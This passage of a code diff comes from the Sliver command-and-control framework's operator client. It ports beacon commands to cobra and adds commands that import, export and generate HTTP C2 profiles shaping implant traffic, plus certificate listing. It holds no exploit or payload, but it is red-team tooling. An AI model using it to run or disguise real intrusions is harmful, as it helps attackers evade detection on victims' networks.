+		beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			continue
@@ -75,7 +78,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	errCount := 0
 	for _, beacon := range pruneBeacons {
-		_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			errCount++
@@ -19,20 +19,21 @@ package beacons
 */

 import (
-	"context"
+	"github.com/spf13/cobra"

 	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
 )

 // BeaconsRmCmd - Display/interact with beacons
-func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	beacon, err := SelectBeacon(con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	_, err = con.Rpc.RmBeacon(context.Background(), beacon)
+	grpcCtx, cancel := con.GrpcContext(cmd)
+	defer cancel()
+	_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -24,13 +24,14 @@ import (
 	"strings"
 	"time"

+	"github.com/spf13/cobra"
+
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
 )

 // BeaconsWatchCmd - Watch your beacons in real-ish time
-func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	done := waitForInput()
 	defer func() {
 		con.Printf(console.UpN+console.Clearln+"\r", 1)
@@ -27,12 +27,12 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
 )

-// BuildersCmd - List external builders
-func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// BuildersCmd - List external builders.
+func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s", err)
@@ -45,7 +45,7 @@ func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
+func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) {
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.AppendHeader(table.Row{
@@ -0,0 +1,28 @@
+package builders
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+	buildersCmd := &cobra.Command{
+		Use:   consts.BuildersStr,
+		Short: "List external builders",
+		Long:  help.GetHelpFor([]string{consts.BuildersStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			BuildersCmd(cmd, con, args)
+		},
+		GroupID: consts.PayloadsHelpGroup,
+	}
+	flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) {
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	return []*cobra.Command{buildersCmd}
+}
@@ -0,0 +1,613 @@
+package c2profiles
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/url"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+	"golang.org/x/exp/slices"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// C2ProfileCmd list available http profiles
+func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	profileName, _ := cmd.Flags().GetString("name")
+
+	if profileName == constants.DefaultC2Profile {
+		httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
+			return
+		}
+		if len(httpC2Profiles.Configs) != 1 {
+			profileName = selectC2Profile(httpC2Profiles.Configs)
+		}
+	}
+
+	profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintC2Profiles(profile, con)
+}
+
+func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	profileName, _ := cmd.Flags().GetString("name")
+	if profileName == "" {
+		con.PrintErrorf("Invalid c2 profile name\n")
+		return
+	}
+
+	filepath, _ := cmd.Flags().GetString("file")
+	if filepath == "" {
+		con.PrintErrorf("Missing file path\n")
+		return
+	}
+
+	overwrite, _ := cmd.Flags().GetBool("overwrite")
+
+	// retrieve and unmarshal profile config
+	jsonFile, err := os.Open(filepath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	byteFile, _ := io.ReadAll(jsonFile)
+	var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
+	err = json.Unmarshal(byteFile, config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
+
+	_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+}
+
+func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+
+	filepath, _ := cmd.Flags().GetString("file")
+	if filepath == "" {
+		con.PrintErrorf("Missing file path\n")
+		return
+	}
+
+	profileName, _ := cmd.Flags().GetString("name")
+	if profileName == "" {
+		con.PrintErrorf("Invalid c2 profile name\n")
+		return
+	}
+
+	if profileName == constants.DefaultC2Profile {
+		httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
+			return
+		}
+		if len(httpC2Profiles.Configs) != 1 {
+			profileName = selectC2Profile(httpC2Profiles.Configs)
+		}
+	}
+
+	profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	config, err := C2ConfigToJSON(profileName, profile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	jsonProfile, err := json.Marshal(config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	err = os.WriteFile(filepath, jsonProfile, 0644)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.Println(profileName, "C2 profile exported to ", filepath)
+}
+
+func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+
+	// load template to use as starting point
+	template, err := cmd.Flags().GetString("template")
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	profileName, _ := cmd.Flags().GetString("name")
+	if profileName == "" {
+		con.PrintErrorf("Invalid c2 profile name\n")
+		return
+	}
+
+	profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: template})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	config, err := C2ConfigToJSON(profileName, profile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// read urls files and replace segments
+	filepath, err := cmd.Flags().GetString("file")
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	urlsFile, err := os.Open(filepath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	fileContent, err := io.ReadAll(urlsFile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	urls := strings.Split(string(fileContent), "\n")
+
+	jsonProfile, err := updateC2Profile(config, urls)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// save or display config
+	importC2Profile, err := cmd.Flags().GetBool("import")
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if importC2Profile {
+		httpC2ConfigReq := clientpb.HTTPC2ConfigReq{C2Config: C2ConfigToProtobuf(profileName, jsonProfile)}
+		_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Println("C2 profile generated and saved as ", profileName)
+	} else {
+		PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
+	}
+}
+
+// convert protobuf to json
+func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
+	implantConfig := assets.HTTPC2ImplantConfig{
+		UserAgent:          profile.ImplantConfig.UserAgent,
+		ChromeBaseVersion:  int(profile.ImplantConfig.ChromeBaseVersion),
+		MacOSVersion:       profile.ImplantConfig.MacOSVersion,
+		NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
+		NonceQueryLength:   int(profile.ImplantConfig.NonceQueryLength),
+		NonceMode:          profile.ImplantConfig.NonceMode,
+		MaxFileGen:         int(profile.ImplantConfig.MaxFileGen),
+		MinFileGen:         int(profile.ImplantConfig.MinFileGen),
+		MaxPathGen:         int(profile.ImplantConfig.MaxPathGen),
+		MinPathGen:         int(profile.ImplantConfig.MinFileGen),
+		MaxPathLength:      int(profile.ImplantConfig.MaxPathLength),
+		MinPathLength:      int(profile.ImplantConfig.MinPathLength),
+		Extensions:         profile.ImplantConfig.Extensions,
+	}
+
+	var headers []assets.NameValueProbability
+	for _, header := range profile.ImplantConfig.Headers {
+		headers = append(headers, assets.NameValueProbability{
+			Name:        header.Name,
+			Value:       header.Value,
+			Probability: int(header.Probability),
+			Method:      header.Method,
+		})
+	}
+	implantConfig.Headers = headers
+
+	var urlParameters []assets.NameValueProbability
+	for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
+		urlParameters = append(urlParameters, assets.NameValueProbability{
+			Name:        urlParameter.Name,
+			Value:       urlParameter.Value,
+			Probability: int(urlParameter.Probability),
+		})
+	}
+	implantConfig.URLParameters = urlParameters
+
+	var (
+		files []string
+		paths []string
+	)
+
+	for _, pathSegment := range profile.ImplantConfig.PathSegments {
+		if pathSegment.IsFile {
+			files = append(files, pathSegment.Value)
+		} else {
+			paths = append(paths, pathSegment.Value)
+		}
+	}
+	implantConfig.Files = files
+	implantConfig.Paths = paths
+
+	var serverHeaders []assets.NameValueProbability
+	for _, header := range profile.ServerConfig.Headers {
+		serverHeaders = append(serverHeaders, assets.NameValueProbability{
+			Name:        header.Name,
+			Value:       header.Value,
+			Probability: int(header.Probability),
+			Method:      header.Method,
+		})
+	}
+
+	var serverCookies []string
+	for _, cookie := range profile.ServerConfig.Cookies {
+		serverCookies = append(serverCookies, cookie.Name)
+	}
+
+	serverConfig := assets.HTTPC2ServerConfig{
+		RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
+		Headers:              serverHeaders,
+		Cookies:              serverCookies,
+	}
+
+	config := assets.HTTPC2Config{
+		ImplantConfig: implantConfig,
+		ServerConfig:  serverConfig,
+	}
+
+	return &config, nil
+}
+
+// convert json to protobuf
+func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
+
+	httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
+	httpC2Headers := []*clientpb.HTTPC2Header{}
+	pathSegments := []*clientpb.HTTPC2PathSegment{}
+
+	// files
+	for _, file := range config.ImplantConfig.Files {
+		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
+			IsFile: true,
+			Value:  file,
+		})
+	}
+
+	for _, path := range config.ImplantConfig.Paths {
+		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
+			IsFile: false,
+			Value:  path,
+		})
+	}
+
+	for _, clientHeader := range config.ImplantConfig.Headers {
+		httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{
+			Method:      clientHeader.Method,
+			Name:        clientHeader.Name,
+			Value:       clientHeader.Value,
+			Probability: int32(clientHeader.Probability),
+		})
+	}
+
+	for _, urlParameter := range config.ImplantConfig.URLParameters {
+		httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{
+			Method:      urlParameter.Method,
+			Name:        urlParameter.Name,
+			Value:       urlParameter.Value,
+			Probability: int32(urlParameter.Probability),
+		})
+	}
+
+	implantConfig := &clientpb.HTTPC2ImplantConfig{
+		UserAgent:          config.ImplantConfig.UserAgent,
+		ChromeBaseVersion:  int32(config.ImplantConfig.ChromeBaseVersion),
+		MacOSVersion:       config.ImplantConfig.MacOSVersion,
+		NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
+		NonceQueryLength:   int32(config.ImplantConfig.NonceQueryLength),
+		NonceMode:          config.ImplantConfig.NonceMode,
+		ExtraURLParameters: httpC2UrlParameters,
+		Headers:            httpC2Headers,
+		MaxFileGen:         int32(config.ImplantConfig.MaxFileGen),
+		MinFileGen:         int32(config.ImplantConfig.MinFileGen),
+		MaxPathGen:         int32(config.ImplantConfig.MaxPathGen),
+		MinPathGen:         int32(config.ImplantConfig.MinPathGen),
+		MaxPathLength:      int32(config.ImplantConfig.MaxPathLength),
+		MinPathLength:      int32(config.ImplantConfig.MinPathLength),
+		Extensions:         config.ImplantConfig.Extensions,
+		PathSegments:       pathSegments,
+	}
+
+	// Server Config
+	serverHeaders := []*clientpb.HTTPC2Header{}
+	for _, serverHeader := range config.ServerConfig.Headers {
+		serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
+			Method:      serverHeader.Method,
+			Name:        serverHeader.Name,
+			Value:       serverHeader.Value,
+			Probability: int32(serverHeader.Probability),
+		})
+	}
+
+	serverCookies := []*clientpb.HTTPC2Cookie{}
+	for _, cookie := range config.ServerConfig.Cookies {
+		serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
+			Name: cookie,
+		})
+	}
+	serverConfig := &clientpb.HTTPC2ServerConfig{
+		RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
+		Headers:              serverHeaders,
+		Cookies:              serverCookies,
+	}
+
+	return &clientpb.HTTPC2Config{
+		Name:          profileName,
+		ImplantConfig: implantConfig,
+		ServerConfig:  serverConfig,
+	}
+}
+
+// PrintImplantBuilds - Print the implant builds on the server
+func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient) {
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Parameter",
+		"Value",
+	})
+
+	// Profile metadata
+
+	tw.AppendRow(table.Row{
+		"Profile Name",
+		profile.Name,
+	})
+
+	// Server side configuration
+
+	var serverHeaders []string
+	for _, header := range profile.ServerConfig.Headers {
+		serverHeaders = append(serverHeaders, header.Name)
+	}
+	tw.AppendRow(table.Row{
+		"Server Headers",
+		strings.Join(serverHeaders[:], ","),
+	})
+
+	var serverCookies []string
+	for _, cookie := range profile.ServerConfig.Cookies {
+		serverCookies = append(serverCookies, cookie.Name)
+	}
+	tw.AppendRow(table.Row{
+		"Server Cookies",
+		strings.Join(serverCookies[:], ","),
+	})
+
+	tw.AppendRow(table.Row{
+		"Randomize Server Headers",
+		profile.ServerConfig.RandomVersionHeaders,
+	})
+
+	// Client side configuration
+
+	var clientHeaders []string
+	for _, header := range profile.ImplantConfig.Headers {
+		clientHeaders = append(clientHeaders, header.Name)
+	}
+	tw.AppendRow(table.Row{
+		"Client Headers",
+		strings.Join(clientHeaders[:], ","),
+	})
+
+	var clientUrlParams []string
+	for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
+		clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
+	}
+	tw.AppendRow(table.Row{
+		"Extra URL Parameters",
+		strings.Join(clientUrlParams[:], ","),
+	})
+	tw.AppendRow(table.Row{
+		"User agent",
+		profile.ImplantConfig.UserAgent,
+	})
+	tw.AppendRow(table.Row{
+		"Chrome base version",
+		profile.ImplantConfig.ChromeBaseVersion,
+	})
+	tw.AppendRow(table.Row{
+		"MacOS version",
+		profile.ImplantConfig.MacOSVersion,
+	})
+	tw.AppendRow(table.Row{
+		"Nonce query arg chars",
+		profile.ImplantConfig.NonceQueryArgChars,
+	})
+	tw.AppendRow(table.Row{
+		"Nonce query length",
+		profile.ImplantConfig.NonceQueryLength,
+	})
+	tw.AppendRow(table.Row{
+		"Nonce mode",
+		profile.ImplantConfig.NonceMode,
+	})
+	tw.AppendRow(table.Row{
+		"Max files",
+		profile.ImplantConfig.MaxFileGen,
+	})
+	tw.AppendRow(table.Row{
+		"Min files",
+		profile.ImplantConfig.MinFileGen,
+	})
+	tw.AppendRow(table.Row{
+		"Max paths",
+		profile.ImplantConfig.MaxPathGen,
+	})
+	tw.AppendRow(table.Row{
+		"Min paths",
+		profile.ImplantConfig.MinPathGen,
+	})
+
+	tw.AppendRow(table.Row{
+		"Max path length",
+		profile.ImplantConfig.MaxPathLength,
+	})
+
+	tw.AppendRow(table.Row{
+		"Min path length",
+		profile.ImplantConfig.MinPathLength,
+	})
+
+	tw.AppendRow(table.Row{
+		"File extensions",
+		strings.Join(profile.ImplantConfig.Extensions, ","),
+	})
+
+	var (
+		paths []string
+		files []string
+	)
+	for _, segment := range profile.ImplantConfig.PathSegments {
+		if segment.IsFile {
+			files = append(files, segment.Value)
+		} else {
+			paths = append(paths, segment.Value)
+		}
+	}
+
+	tw.AppendRow(table.Row{
+		"Paths",
+		strings.Join(paths[:], ",")[:50] + "...",
+	})
+	tw.AppendRow(table.Row{
+		"Files",
+		strings.Join(files[:], ",")[:50] + "...",
+	})
+
+	con.Println(tw.Render())
+	con.Println("\n")
+}
+
+func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
+	c2profile := ""
+	var choices []string
+	for _, c2profile := range c2profiles {
+		choices = append(choices, c2profile.Name)
+	}
+
+	prompt := &survey.Select{
+		Message: "Select a c2 profile",
+		Options: choices,
+	}
+	survey.AskOne(prompt, &c2profile, nil)
+
+	return c2profile
+}
+
+func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
+	// update the template with the urls
+
+	var (
+		paths      []string
+		filenames  []string
+		extensions []string
+	)
+
+	for _, urlPath := range urls {
+		parsedURL, err := url.Parse(urlPath)
+		if err != nil {
+			fmt.Println("Error parsing URL:", err)
+			continue
+		}
+
+		dir, file := path.Split(parsedURL.Path)
+		dir = strings.Trim(dir, "/")
+		if dir != "" {
+			paths = append(paths, strings.Split(dir, "/")...)
+		}
+
+		if file != "" {
+			fileName := strings.TrimSuffix(file, filepath.Ext(file))
+			filenames = append(filenames, fileName)
+			ext := strings.TrimPrefix(filepath.Ext(file), ".")
+			if ext != "" {
+				extensions = append(extensions, ext)
+			}
+		}
+	}
+
+	slices.Sort(extensions)
+	extensions = slices.Compact(extensions)
+
+	slices.Sort(paths)
+	paths = slices.Compact(paths)
+
+	slices.Sort(filenames)
+	filenames = slices.Compact(filenames)
+
+	// 5 is arbitrarily used as a minimum value
+	if len(paths) < 5 {
+		return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
+	}
+
+	if len(filenames) < 5 {
+		return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
+	}
+
+	template.ImplantConfig.Extensions = extensions
+	template.ImplantConfig.Paths = paths
+	template.ImplantConfig.Files = filenames
+	return template, nil
+}
@@ -0,0 +1,91 @@
+package c2profiles
+
+import (
+	"github.com/bishopfox/sliver/client/command/flags"
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
+// Commands returns the “ command and its subcommands.
+func Commands(con *console.SliverClient) []*cobra.Command {
+
+	importC2ProfileCmd := &cobra.Command{
+		Use:   consts.ImportC2ProfileStr,
+		Short: "Import HTTP C2 profile",
+		Long:  help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ImportC2ProfileCmd(cmd, con, args)
+		},
+	}
+	flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
+		f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
+		f.StringP("file", "f", "", "Path to C2 configuration file to import")
+		f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
+	})
+
+	exportC2ProfileCmd := &cobra.Command{
+		Use:   consts.ExportC2ProfileStr,
+		Short: "Export HTTP C2 profile",
+		Long:  help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExportC2ProfileCmd(cmd, con, args)
+		},
+	}
+	flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
+		f.StringP("file", "f", "", "Path to file to export C2 configuration to")
+		f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
+	})
+	flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
+		(*comp)["name"] = generate.HTTPC2Completer(con)
+	})
+
+	C2ProfileCmd := &cobra.Command{
+		Use:   consts.C2ProfileStr,
+		Short: "Display C2 profile details",
+		Long:  help.GetHelpFor([]string{consts.C2ProfileStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			C2ProfileCmd(cmd, con, args)
+		},
+		GroupID: consts.NetworkHelpGroup,
+	}
+	flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
+		f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
+	})
+
+	flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
+		(*comp)["name"] = generate.HTTPC2Completer(con)
+	})
+
+	generateC2ProfileCmd := &cobra.Command{
+		Use:   consts.C2GenerateStr,
+		Short: "Generate a C2 Profile from a list of urls",
+		Long:  help.GetHelpFor([]string{consts.C2ProfileStr + "." + consts.C2GenerateStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			GenerateC2ProfileCmd(cmd, con, args)
+		},
+	}
+
+	flags.Bind(consts.GenerateStr, false, generateC2ProfileCmd, func(f *pflag.FlagSet) {
+		f.StringP("file", "f", "", "Path to file containing URL list, /hello/there.txt one per line")
+		f.BoolP("import", "i", false, "Import the generated profile after creation")
+		f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
+		f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
+	})
+
+	flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
+		(*comp)["template"] = generate.HTTPC2Completer(con)
+	})
+
+	C2ProfileCmd.AddCommand(generateC2ProfileCmd)
+	C2ProfileCmd.AddCommand(importC2ProfileCmd)
+	C2ProfileCmd.AddCommand(exportC2ProfileCmd)
+
+	return []*cobra.Command{
+		C2ProfileCmd,
+	}
+}
@@ -0,0 +1,181 @@
+package certificates
+
+import (
+	"context"
+	"fmt"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+)
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2024  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+const (
+	timeFormat = "2006-01-02 15:04:05 UTC-0700"
+)
+
+// Defining the transport filters
+const (
+	MTLSTransport uint32 = 1 << iota
+	HTTPSTransport
+	AllTransports
+)
+
+// Defining the role filters
+const (
+	// Provide some separation between the options so that we do not have duplicate combinations
+	ServerRole uint32 = 8 << iota
+	ImplantRole
+	AllRoles
+)
+
+func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	// Since we are sending this value in a protobuf, we will give it a fixed bit size
+	// 32 is the smallest we can go
+	var chosenOptions uint32
+
+	if cmd.Flags().Changed("mtls") {
+		if cmd.Flags().Changed("https") {
+			chosenOptions = AllTransports
+		} else {
+			chosenOptions = MTLSTransport
+		}
+	} else if cmd.Flags().Changed("https") {
+		chosenOptions = HTTPSTransport
+	} else {
+		chosenOptions = AllTransports
+	}
+
+	if cmd.Flags().Changed("server") {
+		if cmd.Flags().Changed("implant") {
+			chosenOptions |= AllRoles
+		} else {
+			chosenOptions |= ServerRole
+		}
+	} else if cmd.Flags().Changed("implant") {
+		chosenOptions |= ImplantRole
+	} else {
+		chosenOptions |= AllRoles
+	}
+
+	request := &clientpb.CertificatesReq{
+		CategoryFilters: chosenOptions,
+	}
+
+	request.CN, _ = cmd.Flags().GetString("cn")
+
+	// Ask the server for information about certificates
+	certificateInfo, err := con.Rpc.GetCertificateInfo(context.Background(), request)
+	if err != nil {
+		con.PrintErrorf("could not get certificate information from database: %s", err.Error())
+		return
+	}
+
+	printCertificateInfo(con, certificateInfo.Info)
+}
+
+func checkCertExpiry(expiryTime time.Time) string {
+	if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
+		return console.Bold + console.Red
+	}
+
+	// One week is 168 hours - this is bad
+	if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
+		return console.Bold + console.Red
+	}
+
+	// One month is approximately 730 hours - this is a warning
+	if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
+		return console.Bold + console.Orange
+	}
+
+	return console.Normal
+}
+
+func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
+	// Get the terminal width
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
+	if len(certData) == 0 {
+		con.PrintWarnf("There are no certificates in the database matching the given parameters.\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	wideTermWidth := con.Settings.SmallTermWidth < width
+
+	if wideTermWidth {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Common Name",
+			"Creation Time",
+			"Certificate Type",
+			"Key Algorithm",
+			"Validity Start",
+			"Expires",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Common Name",
+			"Expires",
+		})
+	}
+
+	for _, cert := range certData {
+		rowColor := console.Normal
+
+		expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
+		// This should not error out, but if it does, the row will not be colored
+		if err == nil {
+			rowColor = checkCertExpiry(expiry)
+		}
+		if wideTermWidth {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
+			})
+		} else {
+			tw.AppendRow(table.Row{
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
+				fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
+			})
+		}
+
+	}
+
+	tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
+
+	con.Printf("%s\n", tw.Render())
+}
@@ -0,0 +1,51 @@
+package certificates
+
+/*
